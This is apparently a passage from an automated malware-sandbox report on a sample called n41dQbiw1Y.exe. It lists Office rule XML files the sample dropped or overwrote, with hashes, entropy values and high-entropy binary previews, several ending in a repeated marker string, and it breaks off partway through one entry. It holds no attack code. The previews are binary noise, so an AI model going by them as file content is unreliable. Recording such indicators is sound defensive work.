Y...Fd...`.t.E:.....+.F+X...q)......v..K.lm...o.........S:.w....UZ......o...\....F..c.V@....`...J.;....1..@..D.K..z.K_...\|,z....=...+.^!..t..x..w.......".ud.ke..."-....Bj.......4j....\|s~l&.....f!....4l..R.z.~.^RA*...t.Z..9.......#.sZ...)...B.==2.A.].m'.&..}\.UI./.a\........aE..X...(.<$GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule500024v2.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1467
Entropy (8bit):	7.8805786213295805
Encrypted:	false
SSDEEP:	24:YLGlTMLETKqiTj50MDVueSZGILZRuK/2hgjafMG4qENOwxPL0laWtSBXrbD:mGVkETKqiiMDUebMF0gOfMMwxPLvwSBL
MD5:	2B3414B7134AD135D678316EBB551E95
SHA1:	A25E01A122897992DBD35AE902B463ADCBF67102
SHA-256:	FA56BAFE2E8032D0BF272A66D4A5D47235F6C1F7B2CCF780B16BBCEF2407110E
SHA-512:	9AC2AD1F66CC1947A7CE3DE6A254C563F1B17EF15717B198460A704511E82881D62F745E11718EBB84A7399883A4174232ACF3C0AA66BB4220E803DB846C7B0C
Malicious:	false
Preview:	<?xmle.."..v...DQ.1U.`F.Lvc#..z.....3wrC.}.''.r..........F^........z.$......`....x.3....6-T.2.$.....i:.$....;7..<ON.q'...C...`.{.{.$.+......!................%.......%...`.9.I=$._$>....G../d. .1&,..I.......^x...P.>......>.........[u.e.Vr..}...'u...S..S.....\|hg.B._.~.nMB.1.6...O...\{.{..D.@...%.r..:Z.K.cR.....H.B.s...+.t].%R..S.-B(......3.. .]........oi.....\...w....#....&=kj.Z..M....`"0.....L....jr...X.`.....k..F'&.P>...Z.....+......;.ec.l._....y..6 ...[Y......e...A.t.;xj..X.R........h..% ..MR]0.!.M..1ssm....G......D..u12..P..[..1.0^....E.Lge.....h.V.<MC.w....../..6..l...Vf..^8..c.k.}Y.0............C.......&[H..X#...~...g.<...=.d..Q.k.......l..<.2..G.N..k......W.Z......u.`......R.Ko.`...`}...AMl.............$....7l].....xM..pb.#.u;...q..u;..KNt......+...y\|...8.?.7...fb.X...-.T.S}:,lVqE..2.9....}..>K..(".[.....X.VF..C..[.q.V.%.\|.97...jvL.0..2..(.m.W?.ZY..;..!T..r....A$[h..Mz.W^p.y.^-....7.....0?..\|8.?Y.n.BKqw&...5..8.n.).

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510000v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1397
Entropy (8bit):	7.850973746615886
Encrypted:	false
SSDEEP:	24:KSW6zZancKnu6XijfVeEADXvKsClKHT5Rgn+NLwGIJl+TEWssX6k8Az8lNFOtgpK:KoPKnpAeEAzKnKHVAaLJ62v8AzamD
MD5:	1EA408574A90E953D7AD25E30ACCD6B9
SHA1:	A2CE857EC40266137A7A600CCCD56E72FCBF7C9A
SHA-256:	641E7F14363044BA1D12194442E9B71A3C64E066A01919CCDB0E0340B10FEC54
SHA-512:	80DA73F714C0232C091EDD425A3EBC92D8D7F95F4803A4CDAEBFCAA305A9F4B42EB429239207D39A7A5F97879F972659B2382934759D4C58DD4106D0A77C762F
Malicious:	false
Preview:	<?xml..x..r.8....x.r~4..D...f..YT&."_L'F.}z..hr?...D..S.B..$.....(..y.zv.8K.3.?.._.N.v..=G.^j.......F{.f........?54}......A.....M.V2.]".uM/B.5n+..^...Y.^...H-.e..R...M.....(..9....J9c4...V.obE.F=PD..n.S.mw$....{B!.kC-8'p..V.a&....S...."=.B...+i..;r:..........[..P.U...97..C.....u......x.9V.!.,j..,..Q....)Q2d.g........L....U..G,.&...G...]]P..f.NB....<...b..B..F....q.z-.R_..3.hp...)...G..^....)....2...V...\....6.)...).g:~...N...g..Z......=h..Cj.....cq+R.a%.c5.O!......}^.....OZ.;\|^..w\...^{.a......^....z..@....8....0j.Dv...~y.C./........X.:.?....=..U@).P.bAo-#.!..k.#..m.E.l.."dw.U.....A..m...%U..L.....1....;Vz4.6..w.!....].K,......-...E$...8..&y\&a.J.8<J.......r...i.M...o.HkL@xIu.9>D".H...{SS.:...7(.i.u.3.9N3M..J\.=.....;k.{.jK.U...d...a-.............8.`.6.t@.b.....04/..I.^...L......A..u..r ~......H..6............-......).c..S*.#.rd4....t.B...._.......j.q.p.Z..(../...=.W!.....m".?.}^.MV.......-....? _..@..?...5.V'.ao.r).).9e!R..w..Q.u.ta..!s

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510005v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1269
Entropy (8bit):	7.829810139373673
Encrypted:	false
SSDEEP:	24:JShikVgfAaBlmthG7puFLkemmn7LZzKjB2OPBRrCmUKQ8krzvalJebD:whdgo4ruFhv7LVKj3PjCmBQ8krKJcD
MD5:	0E2B3F805ACA6A2B03EDBC370FCEC094
SHA1:	9D0FA7AE13507D1B6701CDB84FCE4F249BB12D45
SHA-256:	F14C95B4B6A37FABDFEAF884DA732B806AD0FCF8E55433B3CB1406C5E4F94E09
SHA-512:	45D3A07152D6F709613A566730E4385FA943D6AC9DD0BD089711A10D908641ECBA90C9B072199A4DB9A780694177E3E6D69866D7C2232F02605D3A9912BF13F5
Malicious:	false
Preview:	<?xml,A.I.H.L.[7..r..q,......8._...!.......:.....P...o ...I..\|.Ma?...Cs.fS..D....F~.:.=..%..>.........."f.....u`....\|Q....O...t.v...c.........d...3d........<.bT...G5.y..3.%...CH\.S.....d..D.SD/.N..G..7.......Q@...Yj...g...1..F.X..P.......zA....m.,...3......o.S.r...Q?.A}...1`.:.y...3....s.. .P.E..-B; ....O.\|&_....d...;..s...n.B.T..&..p....^.....g..$..d..~.Hyt\|%...30.\.(..%..R..5(..Fy...V.=A..c...i.1)[wP.b...4C...O.`....8..h.j........D}gn.~...'.s.Y.._..C.2.x..}Y.9................dq~I..IT...l..I....C....j...=......4....."....Jq...\|E&.&..,$..i..@.O8.eS..O....S.p...>.....A...G..n\L.X.t..0.........L3A.{8...<...Em....V...'zLLW.A..........k....?..w.i.!b...H..nZ.lUx.[.;.p* .....V..5.....U...l.[3.q5....C........(&q...k!&..s..#D..~..I..UEZ.... .Ea8..8l._.5. ~.\|."..5..h.p.\|..36r.*...w.kgr..!...c... wj....O.&w....%f...CK..........Y...M...nC%.Spg.......,W.y..KG.k....".0..$H..a.,'5..y..E].Z`.....7....`4..(...V.c.%.f..........2........Iigi..J.@.....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510006v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1088
Entropy (8bit):	7.787578517901987
Encrypted:	false
SSDEEP:	24:Zt3pEQQAk39qbUhGaDoGYOe77EY9bHcUp0H9JIvB6YuyAlPbD:ZdpPUkPHfnqDdmurTD
MD5:	6D0AAA3FDFD12EE30AC8D55B59EDBFA0
SHA1:	802B455488CCCCA46BFA72BCC6928F0D2BF6077C
SHA-256:	FFDDAFABD7A60B881A924184FD44A587F584C68C81293F877B2B11D17922666E
SHA-512:	61944C882F91B7B1F5E505FAACD6D93EA28B99E0C5A70BDDA3628A411F9643281B5D8BF80A2A282FE6C7393BB2406DA5F16EA821428C30D1E752CA679AA36B7F
Malicious:	false
Preview:	<?xml..p.....6...GH.9.Z.A..Q...x...Oz....)..E..k.O..B...\.7(.e...In....4...S..LZ...r.+2l.KX/..$.a.k.?".....M..8:......GQ..J.x.M.c.x/.....H....1.tG.@.k..............U..l9!?.\..Yv........O.NJ.E....bB...V..@...KX.Zn..n.w.].f.)YY...A.......M....s..-..2..4...aXG.! .`.zb.[.L.?.....v.c`....._.r.6.K.QK/@7r_..`.Ec..s..).+.{.....K..Y..'.Z".G.b`.xi.^^q.v.f.e......"}JIO.q6..P.j.e.B:`......).......)b........Ci.u'b...Mk.....v.........RX.H....^.....C......K..`j.._..9K...^.f.W..l....)..`.N1.V.B:G..\|.m....8i.EW...]...Y........-Y..1.....l.O>..t......?.0..5.'.E....F........m~.#...=.*.p.mw..ok..iK).".w7cO$.._.L;....H."..>...../.j.CAo>..E.w....K.{..?ph..p.-.Q\..I..t..pv.d....`I.s...5......6...JXj.J.iI\...M...,,.HZ.@.......{....&...6..Z}.R...}k{)~;(..l.C.A...5.=}.....8...%..l......Ah...A.z..p6..-.N...M_...6...i.[`...`...L..bN^..n..m5wm....IF...)...Uj......x...2..u.NO?.R...a.E.U'..!.W.8.....uj..B%`..."..T>.>.4....x...S..7o..G"..E.CTh.DO...D......m

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510008v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1100
Entropy (8bit):	7.821482198299706
Encrypted:	false
SSDEEP:	24:qo09NvgcjNl09NqzWlZ9Vqe0YrjTaqYv5dXXZ7uPRQbD:qo0BaNsWFYYrCqYv5dXXqKD
MD5:	9908DD2B9F4B01313B1C7FF4E13D2106
SHA1:	65BA713D342DB57ADB3FFCBE271E35384B77EA82
SHA-256:	CF6DEC954E8D56123C3EC8E9352F42EC085513CD6689B67181902F2144DFFD03
SHA-512:	AB60487068FE039F40A2CCB8B4A48E459F352659A8C66F11B67371459C9F193FC7C3359473BDECFFD73AE360C4F6E405477241CFF59DB3C9502E2B7D2E9577BD
Malicious:	false
Preview:	<?xmlILY.<......?_E[..5H>r.N...Y.hV-`S:...^.v\|.h..Vz.H.....7..x,.j....wO...79..GNt....\..G!.ofD.Y.......W.b.i..fVT..f5...<......sC..1..t>...l.~v....v.m....+1........%...Z.Qc.....9....$....\|...(.H..%[....h.X)...x.......0.....U..K...,.uv.;.\-.a..n.O..W.&......^..\r'.9;S...LA..:.......`l....^..r.u../..@G.L........:.x\|2.43...rM.B..$...oz..(."..Ov.x..............1.a.K%..j.b...q..DK#\B..:.n..}@f.xJ....<)..,.......^..V....u......FE6.%....0........x...~...=d.zF.).6...sk.`;.:.......]..;.5._.$..^H..@.N.7D.1GkwS.P...p>..OR.M..y...C..!..M....Z.N.(.$r..'.p.^.<.....+u..X.....t...m...)...2.m..n.[...5..]WI.[t.+....H....MU...d..b..l....szZA.z....1.io)....j.H....E.e".r.._+.f...(cC....;...X@.=....w..<.>(..0...".k....F..xOZ.....%.\....1Ytc.B.^..`4Z........3..!T'..evOF..XG....2.....O..V..p..~pt..I-.00.;.p.....7...g..5+.^E9..H49{.. ..k0......ZYs...Xj&(.......i.N....$..{U....M.7......7.#...I.....g..j..M_....V.hd...7..!..Q...{.........z...\|:pK......

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510009v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1192
Entropy (8bit):	7.827036476329986
Encrypted:	false
SSDEEP:	24:1DC3arKaV17t8Kf49qokwZRh+xn6Tedam0Y5lUxeYfPVerX28XXKqabD:1DY43fG7R0xn6Teda24Pwa8qpD
MD5:	E77B1EBC61313882A0198E4E0D1DEDA8
SHA1:	7DDC7461592BE502E428BFBADF90919C3E14F088
SHA-256:	F8A660892DE04FCFB474B5B43E29DF8B4DA36A9FB0BF067BBC9CBA39BA34433A
SHA-512:	755DA868D84D92673C77CD4992EABABF97C3DBDB2B9F267F44B198F7A363A466D3FA6DEA0367645308DC25D52A277054CCD93C404974DB8068C6171B5E30A549
Malicious:	false
Preview:	<?xml...H...M...........~...M..,.1../(.!.#i>;.5.F..8B4r...OZ......z#.[.......H..B. .,...U}....f.QJ$0...1.%.@.......).....QB.$..+...?....J...P.....D..A!...Ch.Its...A..O.Y.d.Z,.>n....'....-.!8....Q.0....#..Y..be.H..G....V..Z.[>..V.%...Z=..%p......$.{0...(...<-..w7...2.e...1...1.f..........MZO......+.....d.....U...=,%P..O..6.htU..j>.....R.+.e....2D...xu.-....0K.P.W....gCh........nf.;x.CJ&....w.f..R.T...S/.7k.v.^;i&..._..>^...B!.rM.q.....g.....0...~i...L...u;..z..$....B...[t.WX.!u.#8.6.l.=.v0...X......;......1e.}..,...2A.....JL.L....M.>...>B..u......e.P.6..S.......SAi..:Y.TB..9..L....R.4.{G..{.....n....1....E..9..~t....&\|K.O.g7..tf.s....AgWr.m+......(9.K.y..C...SP.zZs.xA.5lm.V`8....k:..]q../;.B9..).;....l....si.6%'$.@...`.X.....!Goy.V.....L...............+.....K.z.P......,M\{O&..ip=...W.{.s.A..N`,P......'..t..)..>y../x....0...+>...."..0..2..k5......9...Y.g...<%..-..ja...Y.Y.>..........^....'g.C.n.j.h...Q\.w.........sKx...@.......W.....Jnko

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510010v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1031
Entropy (8bit):	7.822097435577655
Encrypted:	false
SSDEEP:	24:cup5FKC6rL1z0yWWqrQYXEJ9dylqckrTpcybD:NFJ4hz8rQSqc8cgD
MD5:	9CBD8F494BB9550AB84EBAEE60552F78
SHA1:	8F51385897D0552E9CC482E111B80C56A90C1A4D
SHA-256:	7F05459F7C62CE311FF3A9462D03CB5B85FA17CE309F77C0047B8438C0A730F6
SHA-512:	829BA80D65301BA38602F65408769806C3449A00B371863841E4C1EB9A9E50AA817ED46D5E1879D1EC2378041650171769A283A95668DFAFD354AD34AF873DDD
Malicious:	false
Preview:	<?xml...-.t4.....2RmT.9b..&.`.4.!...k"....R.HH...^_........\|..y..... .c.......U.Z.O..L....Z....X.g......l.....Q..\u.v..d......tO~;.)Y.o.....?..L0..=w..JM..;.Aqr..J..L...EB.......pm...Z......x...J..p.....,..M.....N........-.l.0.2...A.^.\|.V....g.aA6u..9..w=.....?...L...M.w..Y.r.......WeT.....vTo'!........$.t..{..A.o`... y..Yce$..I..$C...>.v.....>.6Hu.....V.i.."CJ.H..."..."...CQ..3..;...NG.....h..(.....,....k3.?.l.p.U.f...]<..<f.H....T......0.."b.....B.....^\|'...N.\jA...Kh...BFE...7(..`....e...G.(.........M1....?.........:.a.\...~...(.A.LL....#........ ..1....d.=...O..........=.....O...1..PZ.t.-........k....."...... .]i....-,.`.Z4..v..7f.z{.........4.. .W.....*........?..y#.^..........@......&EX.P.x....nlc.....y.........hh..K..e.R3..u..J...M...^....u..0......#..b.._.../.7.&..... ..b2l}..J.#.A.}..Q.+K}....H......._...t...-...S.6...4P.z%:.).....n..U..g..=.q......o{jt"..b..g.X...`W......s...<GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510012v1.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3884
Entropy (8bit):	7.958978712650132
Encrypted:	false
SSDEEP:	96:ISiI6rNHRjvGZsZE8/vZHCONIwMikM/zAwqUe7Mf:IZnrnHZpv1EwMilEwI7Mf
MD5:	E23899701F195D93D0ED49646C49F7E7
SHA1:	A6119EA2A955C2FBAA7958D89695A6985D4BD34E
SHA-256:	1F000F3A2D5DCB37D4C1980C8561F9940729B11CB0434E56717F45B37380023E
SHA-512:	D3BE93EEA10CCF620228C18A56C7E74CC95E3803A1BE04ED994E327C0D8973B878FAD6B59F5A47A4CF16AAF18D63966843D1003F4B5DE83EADCE9444DAAD1FD6
Malicious:	false
Preview:	<?xml[f!_$Ye<.Tm>. .)...~p..3..hN..G.]uI..^w..V1.`[...5.......c.$....w^\Z.<.A;...LU.5.6.\|-.P.....l$Tt... . ...8.> .......D.c}....F......j.l.7...D+..\}.?..v...C...q...u.g...yzB...m-....B...7v .....6.#.h+..<..v.S...D[y78KS..^q...:c.\|(..Z.(...J...[G.n.2L.S..0.o..ZZl.......h...+w.HN..?...h_.t.n...QO.......s..v..-.ZE.9.....0..u.....jg................D-e.-.G..l...\]/..r.......d.xz.>:U ..r.:..B.$.ME.nD....g1.Y.Iv..R)..(8...@..q../..M.}.s.....x.w.@.Hj8..I.7G]......+Jmc..u.!@0....X.{....AY..H..bG......g..,LK.(........V.n.1y3.i...iWT.%...].,..Z8"mR.:.).w.j.W...sxHR..+_..*.WU...%.4NW.Sc.....e..&13.......L...m.............&X9L.x..B~.50Bp......<9. .>.0:V..vY...^.D.C.$9.L.......6.N.........O&.Z@.Ae.v...W:jN....qA. I&..{z.....".6......:v.N.R.%.U).8....!c...1.'...3.V.M..!................+l..%...`O.R.M'.MZV....n.Sj..F....S!v.....^# $b..y.g...4..I... .D$=.O.m~:..sV6.4..A...D%.qxz}.+...N...../........O.. .'....yp.8J.C{........e.Z.o...LP.(-.......5....Q....`j

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510015v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	790
Entropy (8bit):	7.711026849176648
Encrypted:	false
SSDEEP:	24:cWHN6oAIVcjUI8VI38sKV4Ts1N7HcDidaJBbD:cm6dYFVII4TsbcudaJRD
MD5:	A28CFAAB2108227A123812EB47618355
SHA1:	6E808408AE7F3C83F765D06A5AA5148CEB2F6D3D
SHA-256:	0CF773E1A550BDCBA84C60EA719D9F0E5215CEE7DB92D08884D88A593ECF5690
SHA-512:	489692D15B4FC66E6B70B10E099EAEEBECAC3CCBAE8729FB1B3B8530BEC9CF25D574575BD6CC5829E7D62A02678C51A2EB65858F0F836E79D1D8E31EEE90F463
Malicious:	false
Preview:	<?xmlJ..a1.O._....Z,.....(F.U.$.-+.......%.&O+.u.Eu...+R.(.......7...6B...z!...y.p..i4.". p.(....L.(..P}/..hj....Z\|z.9m......bh..C.1o)OW.<c..$%.......c....f.>(%j...q.+/4_03..d..n.W...ef.Fx....b..b+G09....:.4whg1%..q...LO.R..}.....P.c'.B%#d...I...t.i)...-.OU$O...J.W.L..j..x..<.K...<g.XO...0..UBa`.ql,?MQ.9TV.......A.....W..a.L_..r...<.#'..(..v.SW.%!...Q..X.6..u.oJ....w.oK..P..@...<eU...G....3$2.N;.>wA+:<.i...+C[U.Y^....g......\|S..p.l%.C.5..do.<o.D....7.v$........ ..,..;;.m.n../....m.M._..]......"...{...2Y..y\|\...m2.T.pi}..fT0.....@(.Ch.z.W.N.G...o.\.!.....6......_.TQ9.+...8.....n.b../..0...U..yO..\|Q=...^....^..qby........G.e....r...'...O.HG....j....F.`.L.;.....1I.wwg..Nh.g.GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510016v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	3934
Entropy (8bit):	7.954137230957546
Encrypted:	false
SSDEEP:	96:qOVdGGgzYwbl++NVaUzydI67+tuNki6fiChZ66n0:FVdGGgkwb192dIGyi66ChZ10
MD5:	67EE4D6FED8C04B2DEE2A5D64B2760DF
SHA1:	716212B6C0FFEC123E5E316E533A12DEB2B8B931
SHA-256:	9F410484FCE66B75C0F375B81596ECC0CCB24F9A649CAD8FA587CA75DE6FF63A
SHA-512:	3EBB815E431DF47C415EC625FC36DF74346F7776C4D96725C29EAA68561E197407CC1ACF1B810E0B23C543D606F42C34D7EA33C9CEA774F356754E688980CC02
Malicious:	false
Preview:	<?xml..Q7N..W.BM.I.....L.XM:.Th[.1..e~.5.<0b.Q...V.c.....$..$..\...R~X.(.......n.gq.K.Y%.G....N...w../..$.d...."..ht...+.s'I(x..:NVQ.x!...0......1..x#O#8.XlX..J2....}...(u.L..a..q..7 ....[..b;....6vOz..Z.....d..~..]/...'I/.2.hEQ..8;..\...J>+.P.........Mc...>."...11....x..4.=..w....@.w..c.......N..hr~...1...O.#PSAu..1...(.k....Uuw..7.;..U...:_.o-...~.H.D...c.\....?...P...z..%.....\|....{.Tt6.L.`V.q........7...$.."..D5y_X.8...I....._...].tbjD.>.......g.......^..F.^...1.F.a...6w..j...D....&.(e2X...tN._.w..d....Zp..)X]\|d.%.F.G..ys.T.kX...a..u..........B..y.>...cg.'.4..A...^p>rj.e.Vr\|....^].bo((.M.X.&N.......U(...B....r..bi.(h.O%.I.Dp..t.....E#+X.$.q8.??5.m:........=.R..V..rK9C.5.#?B...k.H.....[...2...r&.:.i........xu8....(.9.OT...j.....?L!.....-....N.>.p....@........b.>4..F...1......i.i..o..uc.X.{SK_.....)j..\|'.)....L....$..;.b5:.=Zg24rTZD.n.y......f@..X.......w....X/...Ai......#A.:....~.......\|....._...}........E...%.....N... 1.\|..".33..\.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510017v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1148
Entropy (8bit):	7.815864366237328
Encrypted:	false
SSDEEP:	24:QlXOJ4q6NPIEs4GZaAwGKUXc3jU7zVxmkWdG0Cify/Y9bD:Ql+JhoP7s4lAVHs3jU7zcd3Ci9D
MD5:	C509BA9C035F53D5E49DFC4F94B899A1
SHA1:	E876C596A4E24156999DD8F600E850FF1330942D
SHA-256:	A195E42FBCB78FA70FDEBE16F056A61E7A59E667351A9AB95BA66AE956C2491A
SHA-512:	EBD9C9B14B5EF0E0930E1D8B847CC8055FE68AEF523470D2C1CB2EA252A292BCD21C6FFAE641EF88D64EB4B7C3D4EE55D7F54BA9F21C5596215185FBDF66A9FA
Malicious:	false
Preview:	<?xml-......FSRO..D7[......a..o.:.]\|:A.[...R..T..RC.Mx...kx;5.y.!.....w.I.t..N.N.K...X.v.s.%W.......8...Z.Z\.%%m.O.].......0~...o...8...m.JE.)&.[...j.1..H.)......,.!....H...}(....K.X.co.....=...j....D.s.n..>I[...P.7...N.X{.e.V....\|.8~.h(.q......+%,..._:v.b..j..1..[Q.....N.]y~....o...p.S}c.X..z..F..:.o....y...x.@p...p..DU.0..Q.@....MsMDD.n.........;.n...#......@......;.`..........`>..jSQ.2..\s..pT.~M.H=.....r..t..5...e!...@.M[Q.......0.s.V....pP..N.xTn...a...3.b.......^.~..8..0 .Z.6;......M.x.".6F'.k,..R._...G....i......y.M......<...-+.j..&...p.....n....D.7.@.".!.@!/..Z,W..q;...M.&:Q.C.,...6.p<..l....j..y.d..xL......P...Ts... 9.og`......k}.~....n0n.....{.(v.O..mv...1..w...-.p-.... A'...O5.)....2&.3.........v\|-.#...Ox.~f........[.....f... .\.[?2".`.J.8.h.....s.}%uw....?..t..D......f.E.A#.L#.<P_).8...x....Qj..E...:.:....nk,.:YC...<..#.R@..4..L..\Y.B....Og.O.w....r...r/.$U96&..o,..b.-y}....IY..}L.d.[..j...............#R..x

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510018v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1782
Entropy (8bit):	7.883790636254921
Encrypted:	false
SSDEEP:	48:mfwVEugwgZ7RKPs2usQYeGUrTwyaelCxf6uEraD:mfwVEuCZNKPs2usS8yaery
MD5:	79E377A4D877C426D94F40C42BE14510
SHA1:	C78BE2446933FCFE1C4C45410AD32ED7883CD975
SHA-256:	9A22A998D127BED722BD6F7C6EB3780F5777E6A9E9FEB8FD6998779A4E7AC83C
SHA-512:	398B5159BB0AFEF7242ECA5A676BEB64566BFEFCD7861847C10FC52689D41625404253D9A511EAF8DA3E2BBC0B0157117896E58630AA1914D825E07D02BC4328
Malicious:	false
Preview:	<?xml<....AwH.JP.xa...S.....9H...H..>....(I4......Q0.Gq.t./...+..F..t.j.L.L.."y...\....3.z.I.u..-..f..h..1.`...&+R......?1.G..eMM.]"..J2P..c.S....jc..%......)..]9...#......q.J+.#E!.wL..H<$.w....].x...,......................8.'......Z...$...N....(.E...U...jP....j]_.d..I..I...%R.9TJ..../..\...]...."6. ..d. ..n...w...hH9x..S..g.J~W.>.>..s.cl.UN...#...FS..}.W.8......0..O...;.....%.N..Ik.]L.ESltCFV.F...FN...p..W..^..DRP....{D&<.}.+:.7>\|>...~......`...o:.v%...(`J......zH...(..4PA.V$..m0.To...g...l.r....:......".......k..#...#.Qc/.....y^9.r_..+.a+.$M...G..^...4x.f.!.;.....p..0.......v.....j..C..8.2\|~N..A...@.oM......PV&.....g...\|../.L...+{...M..q.H....m.C...XC...u..)CN....i....v..<.6.!..0.{....y..T.#;.H.m.\|.x..TtD.'...U.........5.....M...\|\|o ?3f)..........d..+.9:n...z.:.........$...{...w1....@Zw0x\Ah.H.0.9....t..4.....k.".,.f...tz.....5.%...e.l...N..R.:.....c...;..0!..P8.1...Q.O%0(. .;.._.=.9...../...bwL4[q .f..V.z..\|.5.,.v.q......#=oh...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510046v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	791
Entropy (8bit):	7.703995116966273
Encrypted:	false
SSDEEP:	24:YVUFboeLnuloWGeWHVjQq9ZYLYRCmccB7bD:6eTuloQWHFQY6LY0mccFD
MD5:	1BEA0351A94A9C8D1BC89582C76521C9
SHA1:	79D1FB1FF97F6F66A73C32F8F8821494A502F759
SHA-256:	782AAD95B966E554FE13ED09AB3EFC2B71E7752A0CC93E184F2C65D54ABE6EFA
SHA-512:	3C5B06F693EDD6D80557A664F3DEF26DC8078762379DE5ED12DBD1126374CC3E4FFD322514AC4A798FB2603C67D687958245B32D5C04E97838BA587DE7C14602
Malicious:	false
Preview:	<?xml.d.f..;...3..."..4......ZHn.L.j..r.>.....f#...i....v8.... .\..;[... ...8S.?....o[Sa..N.,..<...2.u..;...M...}u...3..+....6P.....>...:.L8.6..})..-......:e_d.&A.......b..R....qy.N.....}.....x.H&s...J........gpGT..@.e.z\.25.C2.`iN..xL.<S..n...m..n9.*...c.K..4.Nu.....p..........x..\|.......W..i..d).]..n...R..Y.l]#...6..LJ,.].I.........k.o.+...nE.3<....a ..'.'DV....Jn..v..q.yM..\.E.......C....2.........Z..!.....b...u6A.f..%o..T..`..&5..R....R..0-^..8R.ov.]...]q.,.."..a.7..0`..6.....<.<.A.<.m6fMZ.A.?.a./s.:.....9..W........W......)]..yye.".z.6i..o.F....~OT.....C..R.z..;../#W.r.].X....T......1F.e...[..4...........{1.....:"V....4X9....9...qB...sp.N.g%.'V..A....I$\|....vL..X.G...._GQ9DjFmWFDqpsyzsOnaxE1Xr4MPL1dG4vPfPDNt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510047v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1082
Entropy (8bit):	7.82510298831913
Encrypted:	false
SSDEEP:	24:9+5/LZ0uCZiKnGiOeKVvvQGuzlNokwqUTuK6UbD:9Y1vCkk5KV3QHaqUTuKxD
MD5:	C4DC767E0CFFFDA01F2ECAA28C9E2925
SHA1:	3FF932E0C5398BB97396C252053EC5508E72FFDE
SHA-256:	11A245F6DA43739EEFDC303AD05A0E2506821160338275ED8FB83D1785E0CF80
SHA-512:	2AAAB6E72C5A673E35BB77F9CFA84CED56F818A787B1EA78159689776ACC752E57220AB9CDFFAD9BBEC70B5D0BAF5344633F37186DC964718BAF5F483AFBE3EE
Malicious:	false
Preview:	<?xml.o$]\....1.8?x...e.b=e..yf...9......l"..J..q.{K...@...v..l.....o..0=...qn.^..~>..\j.........g.1...h.:....6..%W.+..e.....N......7.u...Q.....v...y>.WR..g".].Q...5g}.o....D.]j.....O.t..8..p;zA...9.A..x./:..@o....0..#a.3%..d{.[.R...+.............TId..`....o.....#....Z....).-wLs`.....Y...\.\.......xb82A..&.\......k...hz."...s.~r....fS...Q.{.{_.....#.G2...k...k..k.&.-V.z....7..#........D..IO..V<.z..#..k\|h1sdR'fS.s.S5A.RT2E[.S/)Ca..L.(..Z.+.............G.a....-.MQs...z...Y[..]...........[.#6.pE..j.....T.....;e.p.....E.H..8..Cr.....hL.....&k.~c.B.1.R..2.w+......m.'..a..O.&.M.....%.........!;....Y..%..n....bt.D..sS.....x.Su9J....gB.N....c...`..?...2...m..L.l~_9\..9.Sx..p.r.A..Z{y...&<eol...yK.@.......Tg.VY..( ......./.....?......p.LK..7~..xQK..I3.}.k.n..zQ.u.V..9....s..&...Iu....Q.@P<.>.?T..7]...+..;..1}...[.-.......,....K...w.....;...2#.....@l.....T......n.(8..;......G/....RI.,.D...b<.^.....@..J0.]...x.%.......L.q3*.2@....8[..<..p....

C:\Users\user\AppData\Local\Microsoft\Office\16.0\excel.exe_Rules\rule510062v0.xml

Download File

Process:	C:\Users\user\Desktop\n41dQbiw1Y.exe
File Type:	data
Category:	dropped
Size (bytes):	1061
Entropy (8bit):	7.790290857782599
Encrypted:	false
SSDEEP:	24:Tx2XOyLK/q/xUTBjE+iDa7brdB7OsS6B57owl6Gf1Z3U+RbD:Txcbuq/j+WWdBq/6B5Z0GfvU+BD
